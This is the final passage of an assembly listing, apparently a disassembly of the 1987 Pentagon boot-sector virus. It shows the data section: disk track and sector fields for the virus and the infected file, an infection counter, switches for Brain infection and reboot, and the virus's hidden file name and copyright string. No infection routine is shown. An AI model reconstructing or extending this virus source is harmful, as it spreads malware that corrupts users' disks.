- DW0786 DW 0066H ; Cluster number of file
- DW0788 DW 0B02H ; Virus track & sector
- DW078A DW 0101H ; Virus head and drive
- DW078C DW 0B06H ; File track and sector
- DW078E DW 0101H ; File head and drive
- DB0790 DB 1 ; Device number
-
- DB0791 DB 'PENTAGONTXT', 21H, 17 DUP (0), 4, 0, 0
- DB07B1 DB 'Pentagon,ZG'
- DB07BC DB '(c) 1987 The Pentagon, Zorell Group$'
-
- DB07E0 DB 20H ; Infection count
- DB07E1 DB 0FFH ; Infected by Brain switch
- DB07E2 DB 0 ; Directory update switch
- DB07E3 DB 0 ; Reboot switch
-
- DB ' first sector in segment', 0DH, 0AH, 9, 6DH
-
- CODE ENDS
-
- END START